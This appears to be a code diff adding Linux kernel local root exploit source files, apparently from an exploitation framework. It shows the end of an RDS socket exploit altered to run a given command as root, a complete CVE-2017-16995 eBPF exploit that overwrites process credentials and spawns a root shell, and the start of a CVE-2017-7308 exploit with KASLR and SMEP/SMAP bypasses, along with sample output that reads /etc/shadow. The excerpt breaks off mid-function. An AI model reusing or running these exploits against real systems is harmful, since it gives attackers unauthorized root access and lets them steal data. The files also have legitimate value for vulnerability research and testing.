if (!strcmp(name, sname)) {
|
||||
fprintf(stdout, " [+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" : "");
|
||||
fclose(f);
|
||||
return addr;
|
||||
}
|
||||
}
|
||||
|
||||
fclose(f);
|
||||
if (rep)
|
||||
return 0;
|
||||
fallback:
|
||||
/* didn't find the symbol, let's retry with the System.map
|
||||
dedicated to the pointlessness of Russell Coker's SELinux
|
||||
test machine (why does he keep upgrading the kernel if
|
||||
"all necessary security can be provided by SE Linux"?)
|
||||
*/
|
||||
uname(&ver);
|
||||
if (strncmp(ver.release, "2.6", 3))
|
||||
oldstyle = 1;
|
||||
sprintf(sname, "/boot/System.map-%s", ver.release);
|
||||
f = fopen(sname, "r");
|
||||
if (f == NULL)
|
||||
return 0;
|
||||
rep = 1;
|
||||
goto repeat;
|
||||
}
|
||||
|
||||
int main(int argc, char * argv[])
|
||||
{
|
||||
unsigned long sec_ops, def_ops, cap_ptrace, target;
|
||||
int sendsock, recvsock;
|
||||
struct utsname ver;
|
||||
|
||||
printf("[*] Linux kernel >= 2.6.30 RDS socket exploit\n");
|
||||
printf("[*] by Dan Rosenberg\n");
|
||||
|
||||
uname(&ver);
|
||||
|
||||
if(strncmp(ver.release, "2.6.3", 5)) {
|
||||
printf("[*] Your kernel is not vulnerable.\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* Resolve addresses of relevant symbols */
|
||||
printf("[*] Resolving kernel addresses...\n");
|
||||
sec_ops = get_kernel_sym("security_ops");
|
||||
def_ops = get_kernel_sym("default_security_ops");
|
||||
cap_ptrace = get_kernel_sym("cap_ptrace_traceme");
|
||||
commit_creds = (_commit_creds) get_kernel_sym("commit_creds");
|
||||
prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym("prepare_kernel_cred");
|
||||
|
||||
if(!sec_ops || !def_ops || !cap_ptrace || !commit_creds || !prepare_kernel_cred) {
|
||||
printf("[*] Failed to resolve kernel symbols.\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* Calculate target */
|
||||
target = def_ops + sizeof(void *) + ((11 + sizeof(void *)) & ~(sizeof(void *) - 1));
|
||||
|
||||
sendsock = prep_sock(SENDPORT);
|
||||
recvsock = prep_sock(RECVPORT);
|
||||
|
||||
/* Reset security ops */
|
||||
printf("[*] Overwriting security ops...\n");
|
||||
write_to_mem(sec_ops, def_ops, sendsock, recvsock);
|
||||
|
||||
/* Overwrite ptrace_traceme security op fptr */
|
||||
printf("[*] Overwriting function pointer...\n");
|
||||
write_to_mem(target, (unsigned long)&getroot, sendsock, recvsock);
|
||||
|
||||
/* Trigger the payload */
|
||||
printf("[*] Triggering payload...\n");
|
||||
ptrace(PTRACE_TRACEME, 1, NULL, NULL);
|
||||
|
||||
/* Restore the ptrace_traceme security op */
|
||||
printf("[*] Restoring function pointer...\n");
|
||||
write_to_mem(target, cap_ptrace, sendsock, recvsock);
|
||||
|
||||
if(getuid()) {
|
||||
printf("[*] Exploit failed to get root.\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
printf("[*] Got root!\n");
|
||||
// msf note: modified to execute argv[1]
|
||||
//execl("/bin/sh", "sh", NULL);
|
||||
system(argv[1]);
|
||||
|
||||
}
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,496 @@
|
||||
/*
|
||||
Credit @bleidl, this is a slight modification to his original POC
|
||||
https://github.com/brl/grlh/blob/master/get-rekt-linux-hardened.c
|
||||
|
||||
For details on how the exploit works, please visit
|
||||
https://ricklarabee.blogspot.com/2018/07/ebpf-and-analysis-of-get-rekt-linux.html
|
||||
|
||||
Tested on Ubuntu 16.04 with the following Kernels
|
||||
4.4.0-31-generic
|
||||
4.4.0-62-generic
|
||||
4.4.0-81-generic
|
||||
4.4.0-116-generic
|
||||
4.8.0-58-generic
|
||||
4.10.0.42-generic
|
||||
4.13.0-21-generic
|
||||
|
||||
Tested on Fedora 27
|
||||
4.13.9-300
|
||||
gcc cve-2017-16995.c -o cve-2017-16995
|
||||
internet@client:~/cve-2017-16995$ ./cve-2017-16995
|
||||
[.]
|
||||
[.] t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t)
|
||||
[.]
|
||||
[.] ** This vulnerability cannot be exploited at all on authentic grsecurity kernel **
|
||||
[.]
|
||||
[*] creating bpf map
|
||||
[*] sneaking evil bpf past the verifier
|
||||
[*] creating socketpair()
|
||||
[*] attaching bpf backdoor to socket
|
||||
[*] skbuff => ffff880038c3f500
|
||||
[*] Leaking sock struct from ffff88003af5e180
|
||||
[*] Sock->sk_rcvtimeo at offset 472
|
||||
[*] Cred structure at ffff880038704600
|
||||
[*] UID from cred structure: 1000, matches the current: 1000
|
||||
[*] hammering cred structure at ffff880038704600
|
||||
[*] credentials patched, launching shell...
|
||||
#id
|
||||
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare),1000(internet)
|
||||
|
||||
*/
|
||||
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <stdarg.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <linux/bpf.h>
|
||||
#include <linux/unistd.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/un.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/personality.h>
|
||||
|
||||
char buffer[64];
|
||||
int sockets[2];
|
||||
int mapfd, progfd;
|
||||
int doredact = 0;
|
||||
|
||||
#define LOG_BUF_SIZE 65536
|
||||
#define PHYS_OFFSET 0xffff880000000000
|
||||
char bpf_log_buf[LOG_BUF_SIZE];
|
||||
|
||||
static __u64 ptr_to_u64(void *ptr)
|
||||
{
|
||||
return (__u64) (unsigned long) ptr;
|
||||
}
|
||||
|
||||
int bpf_prog_load(enum bpf_prog_type prog_type,
|
||||
const struct bpf_insn *insns, int prog_len,
|
||||
const char *license, int kern_version)
|
||||
{
|
||||
union bpf_attr attr = {
|
||||
.prog_type = prog_type,
|
||||
.insns = ptr_to_u64((void *) insns),
|
||||
.insn_cnt = prog_len / sizeof(struct bpf_insn),
|
||||
.license = ptr_to_u64((void *) license),
|
||||
.log_buf = ptr_to_u64(bpf_log_buf),
|
||||
.log_size = LOG_BUF_SIZE,
|
||||
.log_level = 1,
|
||||
};
|
||||
|
||||
attr.kern_version = kern_version;
|
||||
|
||||
bpf_log_buf[0] = 0;
|
||||
|
||||
return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr));
|
||||
}
|
||||
|
||||
int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size,
|
||||
int max_entries, int map_flags)
|
||||
{
|
||||
union bpf_attr attr = {
|
||||
.map_type = map_type,
|
||||
.key_size = key_size,
|
||||
.value_size = value_size,
|
||||
.max_entries = max_entries
|
||||
};
|
||||
|
||||
return syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr));
|
||||
}
|
||||
|
||||
int bpf_update_elem(int fd, void *key, void *value, unsigned long long flags)
|
||||
{
|
||||
union bpf_attr attr = {
|
||||
.map_fd = fd,
|
||||
.key = ptr_to_u64(key),
|
||||
.value = ptr_to_u64(value),
|
||||
.flags = flags,
|
||||
};
|
||||
|
||||
return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr));
|
||||
}
|
||||
|
||||
int bpf_lookup_elem(int fd, void *key, void *value)
|
||||
{
|
||||
union bpf_attr attr = {
|
||||
.map_fd = fd,
|
||||
.key = ptr_to_u64(key),
|
||||
.value = ptr_to_u64(value),
|
||||
};
|
||||
|
||||
return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr));
|
||||
}
|
||||
|
||||
#define BPF_ALU64_IMM(OP, DST, IMM) \
|
||||
((struct bpf_insn) { \
|
||||
.code = BPF_ALU64 | BPF_OP(OP) | BPF_K, \
|
||||
.dst_reg = DST, \
|
||||
.src_reg = 0, \
|
||||
.off = 0, \
|
||||
.imm = IMM })
|
||||
|
||||
#define BPF_MOV64_REG(DST, SRC) \
|
||||
((struct bpf_insn) { \
|
||||
.code = BPF_ALU64 | BPF_MOV | BPF_X, \
|
||||
.dst_reg = DST, \
|
||||
.src_reg = SRC, \
|
||||
.off = 0, \
|
||||
.imm = 0 })
|
||||
|
||||
#define BPF_MOV32_REG(DST, SRC) \
|
||||
((struct bpf_insn) { \
|
||||
.code = BPF_ALU | BPF_MOV | BPF_X, \
|
||||
.dst_reg = DST, \
|
||||
.src_reg = SRC, \
|
||||
.off = 0, \
|
||||
.imm = 0 })
|
||||
|
||||
#define BPF_MOV64_IMM(DST, IMM) \
|
||||
((struct bpf_insn) { \
|
||||
.code = BPF_ALU64 | BPF_MOV | BPF_K, \
|
||||
.dst_reg = DST, \
|
||||
.src_reg = 0, \
|
||||
.off = 0, \
|
||||
.imm = IMM })
|
||||
|
||||
#define BPF_MOV32_IMM(DST, IMM) \
|
||||
((struct bpf_insn) { \
|
||||
.code = BPF_ALU | BPF_MOV | BPF_K, \
|
||||
.dst_reg = DST, \
|
||||
.src_reg = 0, \
|
||||
.off = 0, \
|
||||
.imm = IMM })
|
||||
|
||||
#define BPF_LD_IMM64(DST, IMM) \
|
||||
BPF_LD_IMM64_RAW(DST, 0, IMM)
|
||||
|
||||
#define BPF_LD_IMM64_RAW(DST, SRC, IMM) \
|
||||
((struct bpf_insn) { \
|
||||
.code = BPF_LD | BPF_DW | BPF_IMM, \
|
||||
.dst_reg = DST, \
|
||||
.src_reg = SRC, \
|
||||
.off = 0, \
|
||||
.imm = (__u32) (IMM) }), \
|
||||
((struct bpf_insn) { \
|
||||
.code = 0, \
|
||||
.dst_reg = 0, \
|
||||
.src_reg = 0, \
|
||||
.off = 0, \
|
||||
.imm = ((__u64) (IMM)) >> 32 })
|
||||
|
||||
#ifndef BPF_PSEUDO_MAP_FD
|
||||
# define BPF_PSEUDO_MAP_FD 1
|
||||
#endif
|
||||
|
||||
#define BPF_LD_MAP_FD(DST, MAP_FD) \
|
||||
BPF_LD_IMM64_RAW(DST, BPF_PSEUDO_MAP_FD, MAP_FD)
|
||||
|
||||
#define BPF_LDX_MEM(SIZE, DST, SRC, OFF) \
|
||||
((struct bpf_insn) { \
|
||||
.code = BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM, \
|
||||
.dst_reg = DST, \
|
||||
.src_reg = SRC, \
|
||||
.off = OFF, \
|
||||
.imm = 0 })
|
||||
|
||||
#define BPF_STX_MEM(SIZE, DST, SRC, OFF) \
|
||||
((struct bpf_insn) { \
|
||||
.code = BPF_STX | BPF_SIZE(SIZE) | BPF_MEM, \
|
||||
.dst_reg = DST, \
|
||||
.src_reg = SRC, \
|
||||
.off = OFF, \
|
||||
.imm = 0 })
|
||||
|
||||
#define BPF_ST_MEM(SIZE, DST, OFF, IMM) \
|
||||
((struct bpf_insn) { \
|
||||
.code = BPF_ST | BPF_SIZE(SIZE) | BPF_MEM, \
|
||||
.dst_reg = DST, \
|
||||
.src_reg = 0, \
|
||||
.off = OFF, \
|
||||
.imm = IMM })
|
||||
|
||||
#define BPF_JMP_IMM(OP, DST, IMM, OFF) \
|
||||
((struct bpf_insn) { \
|
||||
.code = BPF_JMP | BPF_OP(OP) | BPF_K, \
|
||||
.dst_reg = DST, \
|
||||
.src_reg = 0, \
|
||||
.off = OFF, \
|
||||
.imm = IMM })
|
||||
|
||||
#define BPF_RAW_INSN(CODE, DST, SRC, OFF, IMM) \
|
||||
((struct bpf_insn) { \
|
||||
.code = CODE, \
|
||||
.dst_reg = DST, \
|
||||
.src_reg = SRC, \
|
||||
.off = OFF, \
|
||||
.imm = IMM })
|
||||
|
||||
#define BPF_EXIT_INSN() \
|
||||
((struct bpf_insn) { \
|
||||
.code = BPF_JMP | BPF_EXIT, \
|
||||
.dst_reg = 0, \
|
||||
.src_reg = 0, \
|
||||
.off = 0, \
|
||||
.imm = 0 })
|
||||
|
||||
#define BPF_DISABLE_VERIFIER() \
|
||||
BPF_MOV32_IMM(BPF_REG_2, 0xFFFFFFFF), /* r2 = (u32)0xFFFFFFFF */ \
|
||||
BPF_JMP_IMM(BPF_JNE, BPF_REG_2, 0xFFFFFFFF, 2), /* if (r2 == -1) { */ \
|
||||
BPF_MOV64_IMM(BPF_REG_0, 0), /* exit(0); */ \
|
||||
BPF_EXIT_INSN() /* } */ \
|
||||
|
||||
#define BPF_MAP_GET(idx, dst) \
|
||||
BPF_MOV64_REG(BPF_REG_1, BPF_REG_9), /* r1 = r9 */ \
|
||||
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), /* r2 = fp */ \
|
||||
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), /* r2 = fp - 4 */ \
|
||||
BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx), /* *(u32 *)(fp - 4) = idx */ \
|
||||
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), \
|
||||
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), /* if (r0 == 0) */ \
|
||||
BPF_EXIT_INSN(), /* exit(0); */ \
|
||||
BPF_LDX_MEM(BPF_DW, (dst), BPF_REG_0, 0) /* r_dst = *(u64 *)(r0) */
|
||||
|
||||
static int load_prog() {
|
||||
struct bpf_insn prog[] = {
|
||||
BPF_DISABLE_VERIFIER(),
|
||||
|
||||
BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_1, -16), /* *(fp - 16) = r1 */
|
||||
|
||||
BPF_LD_MAP_FD(BPF_REG_9, mapfd),
|
||||
|
||||
BPF_MAP_GET(0, BPF_REG_6), /* r6 = op */
|
||||
BPF_MAP_GET(1, BPF_REG_7), /* r7 = address */
|
||||
BPF_MAP_GET(2, BPF_REG_8), /* r8 = value */
|
||||
|
||||
/* store map slot address in r2 */
|
||||
BPF_MOV64_REG(BPF_REG_2, BPF_REG_0), /* r2 = r0 */
|
||||
BPF_MOV64_IMM(BPF_REG_0, 0), /* r0 = 0 for exit(0) */
|
||||
|
||||
BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 0, 2), /* if (op == 0) */
|
||||
/* get fp */
|
||||
BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_10, 0),
|
||||
BPF_EXIT_INSN(),
|
||||
|
||||
BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 1, 3), /* else if (op == 1) */
|
||||
/* get skbuff */
|
||||
BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_10, -16),
|
||||
BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_3, 0),
|
||||
BPF_EXIT_INSN(),
|
||||
|
||||
BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 2, 3), /* else if (op == 2) */
|
||||
/* read */
|
||||
BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_7, 0),
|
||||
BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_3, 0),
|
||||
BPF_EXIT_INSN(),
|
||||
/* else */
|
||||
/* write */
|
||||
BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_8, 0),
|
||||
BPF_EXIT_INSN(),
|
||||
|
||||
};
|
||||
return bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, prog, sizeof(prog), "GPL", 0);
|
||||
}
|
||||
|
||||
void info(const char *fmt, ...) {
|
||||
va_list args;
|
||||
va_start(args, fmt);
|
||||
fprintf(stdout, "[.] ");
|
||||
vfprintf(stdout, fmt, args);
|
||||
va_end(args);
|
||||
}
|
||||
|
||||
void msg(const char *fmt, ...) {
|
||||
va_list args;
|
||||
va_start(args, fmt);
|
||||
fprintf(stdout, "[*] ");
|
||||
vfprintf(stdout, fmt, args);
|
||||
va_end(args);
|
||||
}
|
||||
|
||||
void redact(const char *fmt, ...) {
|
||||
va_list args;
|
||||
va_start(args, fmt);
|
||||
if(doredact) {
|
||||
fprintf(stdout, "[!] ( ( R E D A C T E D ) )\n");
|
||||
return;
|
||||
}
|
||||
fprintf(stdout, "[*] ");
|
||||
vfprintf(stdout, fmt, args);
|
||||
va_end(args);
|
||||
}
|
||||
|
||||
void fail(const char *fmt, ...) {
|
||||
va_list args;
|
||||
va_start(args, fmt);
|
||||
fprintf(stdout, "[!] ");
|
||||
vfprintf(stdout, fmt, args);
|
||||
va_end(args);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
void
|
||||
initialize() {
|
||||
info("\n");
|
||||
info("t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t)\n");
|
||||
info("\n");
|
||||
info(" ** This vulnerability cannot be exploited at all on authentic grsecurity kernel **\n");
|
||||
info("\n");
|
||||
|
||||
redact("creating bpf map\n");
|
||||
mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3, 0);
|
||||
if (mapfd < 0) {
|
||||
fail("failed to create bpf map: '%s'\n", strerror(errno));
|
||||
}
|
||||
|
||||
redact("sneaking evil bpf past the verifier\n");
|
||||
progfd = load_prog();
|
||||
if (progfd < 0) {
|
||||
if (errno == EACCES) {
|
||||
msg("log:\n%s", bpf_log_buf);
|
||||
}
|
||||
fail("failed to load prog '%s'\n", strerror(errno));
|
||||
}
|
||||
|
||||
redact("creating socketpair()\n");
|
||||
if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets)) {
|
||||
fail("failed to create socket pair '%s'\n", strerror(errno));
|
||||
}
|
||||
|
||||
redact("attaching bpf backdoor to socket\n");
|
||||
if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0) {
|
||||
fail("setsockopt '%s'\n", strerror(errno));
|
||||
}
|
||||
}
|
||||
|
||||
static void writemsg() {
|
||||
ssize_t n = write(sockets[0], buffer, sizeof(buffer));
|
||||
if (n < 0) {
|
||||
perror("write");
|
||||
return;
|
||||
}
|
||||
if (n != sizeof(buffer)) {
|
||||
fprintf(stderr, "short write: %zd\n", n);
|
||||
}
|
||||
}
|
||||
|
||||
static void
|
||||
update_elem(int key, unsigned long value) {
|
||||
if (bpf_update_elem(mapfd, &key, &value, 0)) {
|
||||
fail("bpf_update_elem failed '%s'\n", strerror(errno));
|
||||
}
|
||||
}
|
||||
|
||||
static unsigned long
|
||||
get_value(int key) {
|
||||
unsigned long value;
|
||||
if (bpf_lookup_elem(mapfd, &key, &value)) {
|
||||
fail("bpf_lookup_elem failed '%s'\n", strerror(errno));
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
static unsigned long
|
||||
sendcmd(unsigned long op, unsigned long addr, unsigned long value) {
|
||||
update_elem(0, op);
|
||||
update_elem(1, addr);
|
||||
update_elem(2, value);
|
||||
writemsg();
|
||||
return get_value(2);
|
||||
}
|
||||
|
||||
unsigned long
|
||||
get_skbuff() {
|
||||
return sendcmd(1, 0, 0);
|
||||
}
|
||||
|
||||
unsigned long
|
||||
get_fp() {
|
||||
return sendcmd(0, 0, 0);
|
||||
}
|
||||
|
||||
unsigned long
|
||||
read64(unsigned long addr) {
|
||||
return sendcmd(2, addr, 0);
|
||||
}
|
||||
|
||||
void
|
||||
write64(unsigned long addr, unsigned long val) {
|
||||
(void)sendcmd(3, addr, val);
|
||||
}
|
||||
|
||||
static unsigned long find_cred() {
|
||||
uid_t uid = getuid();
|
||||
unsigned long skbuff = get_skbuff();
|
||||
/*
|
||||
* struct sk_buff {
|
||||
* [...24 byte offset...]
|
||||
* struct sock *sk;
|
||||
* };
|
||||
*
|
||||
*/
|
||||
|
||||
unsigned long sock_addr = read64(skbuff + 24);
|
||||
msg("skbuff => %llx\n", skbuff);
|
||||
msg("Leaking sock struct from %llx\n", sock_addr);
|
||||
if(sock_addr < PHYS_OFFSET){
|
||||
fail("Failed to find Sock address from sk_buff.\n");
|
||||
}
|
||||
|
||||
/*
|
||||
* scan forward for expected sk_rcvtimeo value.
|
||||
*
|
||||
* struct sock {
|
||||
* [...]
|
||||
* const struct cred *sk_peer_cred;
|
||||
* long sk_rcvtimeo;
|
||||
* };
|
||||
*/
|
||||
for (int i = 0; i < 100; i++, sock_addr += 8) {
|
||||
if(read64(sock_addr) == 0x7FFFFFFFFFFFFFFF) {
|
||||
unsigned long cred_struct = read64(sock_addr - 8);
|
||||
if(cred_struct < PHYS_OFFSET) {
|
||||
continue;
|
||||
}
|
||||
|
||||
unsigned long test_uid = (read64(cred_struct + 8) & 0xFFFFFFFF);
|
||||
|
||||
if(test_uid != uid) {
|
||||
continue;
|
||||
}
|
||||
msg("Sock->sk_rcvtimeo at offset %d\n", i * 8);
|
||||
msg("Cred structure at %llx\n", cred_struct);
|
||||
msg("UID from cred structure: %d, matches the current: %d\n", test_uid, uid);
|
||||
|
||||
return cred_struct;
|
||||
}
|
||||
}
|
||||
fail("failed to find sk_rcvtimeo.\n");
|
||||
}
|
||||
|
||||
static void
|
||||
hammer_cred(unsigned long addr) {
|
||||
msg("hammering cred structure at %llx\n", addr);
|
||||
#define w64(w) { write64(addr, (w)); addr += 8; }
|
||||
unsigned long val = read64(addr) & 0xFFFFFFFFUL;
|
||||
w64(val);
|
||||
w64(0); w64(0); w64(0); w64(0);
|
||||
w64(0xFFFFFFFFFFFFFFFF);
|
||||
w64(0xFFFFFFFFFFFFFFFF);
|
||||
w64(0xFFFFFFFFFFFFFFFF);
|
||||
#undef w64
|
||||
}
|
||||
|
||||
int
|
||||
main(int argc, char **argv) {
|
||||
initialize();
|
||||
hammer_cred(find_cred());
|
||||
msg("credentials patched, launching shell...\n");
|
||||
if(execl("/bin/sh", "/bin/sh", NULL)) {
|
||||
fail("exec %s\n", strerror(errno));
|
||||
}
|
||||
}
|
||||
|
||||
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,792 @@
|
||||
// A proof-of-concept local root exploit for CVE-2017-7308.
|
||||
// Includes a SMEP & SMAP bypass.
|
||||
// Tested on Ubuntu / Linux Mint:
|
||||
// - 4.8.0-34-generic
|
||||
// - 4.8.0-36-generic
|
||||
// - 4.8.0-39-generic
|
||||
// - 4.8.0-41-generic
|
||||
// - 4.8.0-42-generic
|
||||
// - 4.8.0-44-generic
|
||||
// - 4.8.0-45-generic
|
||||
// https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-7308
|
||||
//
|
||||
// Usage:
|
||||
// user@ubuntu:~$ uname -a
|
||||
// Linux ubuntu 4.8.0-41-generic #44~16.04.1-Ubuntu SMP Fri Mar 3 ...
|
||||
// user@ubuntu:~$ gcc pwn.c -o pwn
|
||||
// user@ubuntu:~$ ./pwn
|
||||
// [.] starting
|
||||
// [.] system has 2 processors
|
||||
// [.] checking kernel version
|
||||
// [.] kernel version '4.8.0-41-generic' detected
|
||||
// [~] done, version looks good
|
||||
// [.] checking SMEP and SMAP
|
||||
// [~] done, looks good
|
||||
// [.] setting up namespace sandbox
|
||||
// [~] done, namespace sandbox set up
|
||||
// [.] KASLR bypass enabled, getting kernel addr
|
||||
// [.] done, kernel text: ffffffff87000000
|
||||
// [.] commit_creds: ffffffff870a5cf0
|
||||
// [.] prepare_kernel_cred: ffffffff870a60e0
|
||||
// [.] native_write_cr4: ffffffff87064210
|
||||
// [.] padding heap
|
||||
// [.] done, heap is padded
|
||||
// [.] SMEP & SMAP bypass enabled, turning them off
|
||||
// [.] done, SMEP & SMAP should be off now
|
||||
// [.] executing get root payload 0x401516
|
||||
// [.] done, should be root now
|
||||
// [.] checking if we got root
|
||||
// [+] got r00t ^_^
|
||||
// root@ubuntu:/home/user# cat /etc/shadow
|
||||
// root:!:17246:0:99999:7:::
|
||||
// daemon:*:17212:0:99999:7:::
|
||||
// bin:*:17212:0:99999:7:::
|
||||
// ...
|
||||
//
|
||||
// Andrey Konovalov <andreyknvl@gmail.com>
|
||||
// ---
|
||||
// Updated by <bcoles@gmail.com>
|
||||
// - support for systems with SMEP but no SMAP
|
||||
// - check number of CPU cores
|
||||
// - additional kernel targets
|
||||
// - additional KASLR bypasses
|
||||
// https://github.com/bcoles/kernel-exploits/tree/cve-2017-7308
|
||||
|
||||
#define _GNU_SOURCE
|
||||
|
||||
#include <assert.h>
|
||||
#include <fcntl.h>
|
||||
#include <stdarg.h>
|
||||
#include <stdbool.h>
|
||||
#include <stddef.h>
|
||||
#include <stdint.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <sched.h>
|
||||
|
||||
#include <sys/ioctl.h>
|
||||
#include <sys/klog.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <sys/sysinfo.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/utsname.h>
|
||||
#include <sys/wait.h>
|
||||
|
||||
#include <arpa/inet.h>
|
||||
#include <linux/if_packet.h>
|
||||
#include <linux/ip.h>
|
||||
#include <linux/udp.h>
|
||||
#include <netinet/if_ether.h>
|
||||
#include <net/if.h>
|
||||
|
||||
#define DEBUG
|
||||
|
||||
#ifdef DEBUG
|
||||
# define dprintf printf
|
||||
#else
|
||||
# define dprintf
|
||||
#endif
|
||||
|
||||
#define ENABLE_KASLR_BYPASS 1
|
||||
#define ENABLE_SMEP_SMAP_BYPASS 1
|
||||
|
||||
char *SHELL = "/bin/bash";
|
||||
|
||||
// Will be overwritten if ENABLE_KASLR_BYPASS
|
||||
unsigned long KERNEL_BASE = 0xffffffff81000000ul;
|
||||
|
||||
// Will be overwritten by detect_versions().
|
||||
int kernel = -1;
|
||||
|
||||
struct kernel_info {
|
||||
const char* version;
|
||||
uint64_t commit_creds;
|
||||
uint64_t prepare_kernel_cred;
|
||||
uint64_t native_write_cr4;
|
||||
};
|
||||
|
||||
struct kernel_info kernels[] = {
|
||||
{ "4.8.0-34-generic", 0xa5d50, 0xa6140, 0x64210 },
|
||||
{ "4.8.0-36-generic", 0xa5d50, 0xa6140, 0x64210 },
|
||||
{ "4.8.0-39-generic", 0xa5cf0, 0xa60e0, 0x64210 },
|
||||
{ "4.8.0-41-generic", 0xa5cf0, 0xa60e0, 0x64210 },
|
||||
{ "4.8.0-42-generic", 0xa5cf0, 0xa60e0, 0x64210 },
|
||||
{ "4.8.0-44-generic", 0xa5cf0, 0xa60e0, 0x64210 },
|
||||
{ "4.8.0-45-generic", 0xa5cf0, 0xa60e0, 0x64210 },
|
||||
};
|
||||
|
||||
// Used to get root privileges.
|
||||
#define COMMIT_CREDS (KERNEL_BASE + kernels[kernel].commit_creds)
|
||||
#define PREPARE_KERNEL_CRED (KERNEL_BASE + kernels[kernel].prepare_kernel_cred)
|
||||
#define NATIVE_WRITE_CR4 (KERNEL_BASE + kernels[kernel].native_write_cr4)
|
||||
|
||||
// Will be overwritten if ENABLE_SMEP_SMAP_BYPASS
|
||||
unsigned long CR4_DESIRED_VALUE = 0x406e0ul;
|
||||
|
||||
#define KMALLOC_PAD 512
|
||||
#define PAGEALLOC_PAD 1024
|
||||
|
||||
// * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * *
|
||||
|
||||
typedef uint32_t u32;
|
||||
|
||||
// $ pahole -C hlist_node ./vmlinux
|
||||
struct hlist_node {
|
||||
struct hlist_node * next; /* 0 8 */
|
||||
struct hlist_node * * pprev; /* 8 8 */
|
||||
};
|
||||
|
||||
// $ pahole -C timer_list ./vmlinux
|
||||
struct timer_list {
|
||||
struct hlist_node entry; /* 0 16 */
|
||||
long unsigned int expires; /* 16 8 */
|
||||
void (*function)(long unsigned int); /* 24 8 */
|
||||
long unsigned int data; /* 32 8 */
|
||||
u32 flags; /* 40 4 */
|
||||
int start_pid; /* 44 4 */
|
||||
void * start_site; /* 48 8 */
|
||||
char start_comm[16]; /* 56 16 */
|
||||
};
|
||||
|
||||
// packet_sock->rx_ring->prb_bdqc->retire_blk_timer
|
||||
#define TIMER_OFFSET 896
|
||||
|
||||
// pakcet_sock->xmit
|
||||
#define XMIT_OFFSET 1304
|
||||
|
||||
// * * * * * * * * * * * * * * * Helpers * * * * * * * * * * * * * * * * * *
|
||||
|
||||
void packet_socket_rx_ring_init(int s, unsigned int block_size,
|
||||
unsigned int frame_size, unsigned int block_nr,
|
||||
unsigned int sizeof_priv, unsigned int timeout) {
|
||||
int v = TPACKET_V3;
|
||||
int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v));
|
||||
if (rv < 0) {
|
||||
dprintf("[-] setsockopt(PACKET_VERSION)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
struct tpacket_req3 req;
|
||||
memset(&req, 0, sizeof(req));
|
||||
req.tp_block_size = block_size;
|
||||
req.tp_frame_size = frame_size;
|
||||
req.tp_block_nr = block_nr;
|
||||
req.tp_frame_nr = (block_size * block_nr) / frame_size;
|
||||
req.tp_retire_blk_tov = timeout;
|
||||
req.tp_sizeof_priv = sizeof_priv;
|
||||
req.tp_feature_req_word = 0;
|
||||
|
||||
rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req));
|
||||
if (rv < 0) {
|
||||
dprintf("[-] setsockopt(PACKET_RX_RING)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
}
|
||||
|
||||
int packet_socket_setup(unsigned int block_size, unsigned int frame_size,
|
||||
unsigned int block_nr, unsigned int sizeof_priv, int timeout) {
|
||||
int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
|
||||
if (s < 0) {
|
||||
dprintf("[-] socket(AF_PACKET)\n");
|
||||
